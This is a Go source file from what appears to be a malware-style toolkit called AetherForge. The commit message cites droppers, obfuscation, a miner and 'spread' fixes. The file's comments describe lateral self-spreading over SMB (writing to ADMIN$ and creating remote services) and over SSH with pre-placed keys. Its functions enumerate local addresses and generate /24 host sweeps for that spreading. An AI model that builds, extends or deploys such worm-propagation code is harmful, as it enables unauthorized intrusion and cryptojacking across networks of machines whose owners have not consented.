Files
AetherForge/agent/deploy/subnet.go
AetherForge 8466c7aa9b fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
2026-06-04 20:41:44 -07:00

110 lines
3.0 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package deploy
import (
"fmt"
"net"
"strings"
)
// Spread prerequisites for lateral deployment modules:
//
// Windows (SMB/SCM via autospread.go):
// - Target TCP/445 (SMB) must be reachable on the LAN.
// - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$
// and create/start a remote service via sc.exe (typically requires local admin
// or equivalent on the target).
//
// Unix (SSH via autospread_unix.go):
// - Target TCP/22 (SSH) must be reachable.
// - Non-interactive auth only (scp/ssh -o BatchMode=yes): passwordless SSH must
// already work — e.g. the agent user's public key in target authorized_keys,
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
//
// Subnet discovery:
// - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local
// self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers
// may appear when the OS neighbor cache lists them on a shared /64.
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := iface.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
ipnet, ok := a.(*net.IPNet)
if !ok {
continue
}
ip := ipnet.IP
if ip.IsLoopback() || ip.IsMulticast() || ip.IsLinkLocalUnicast() {
continue
}
if ip4 := ip.To4(); ip4 != nil {
ips = append(ips, ip4.String())
continue
}
if ip.To16() != nil {
ips = append(ips, ip.String())
}
}
}
return ips
}
// getSubnet returns the sweep prefix for an address:
// - IPv4: first three octets (/24)
// - IPv6: first four hextets (/64)
//
// Returns "" when the address cannot be used for subnet matching.
func getSubnet(ip string) string {
parsed := net.ParseIP(strings.TrimSpace(ip))
if parsed == nil {
return ""
}
if ip4 := parsed.To4(); ip4 != nil {
parts := strings.Split(ip4.String(), ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}
// IPv6 /64 — collapse :: shorthand for consistent map keys.
full := parsed.String()
if strings.Contains(full, ".") {
return ""
}
hextets := strings.Split(full, ":")
if len(hextets) < 4 {
return ""
}
return strings.Join(hextets[:4], ":")
}
// isIPv4 reports whether addr is an IPv4 host address.
func isIPv4(addr string) bool {
ip := net.ParseIP(addr)
return ip != nil && ip.To4() != nil
}
// ipv4SweepHost returns the i-th host in an IPv4 /24 (1254). ok is false for non-IPv4 prefixes.
func ipv4SweepHost(subnet string, i int) (host string, ok bool) {
if i < 1 || i > 254 {
return "", false
}
parts := strings.Split(subnet, ".")
if len(parts) != 3 {
return "", false
}
return fmt.Sprintf("%s.%s.%s.%d", parts[0], parts[1], parts[2], i), true
}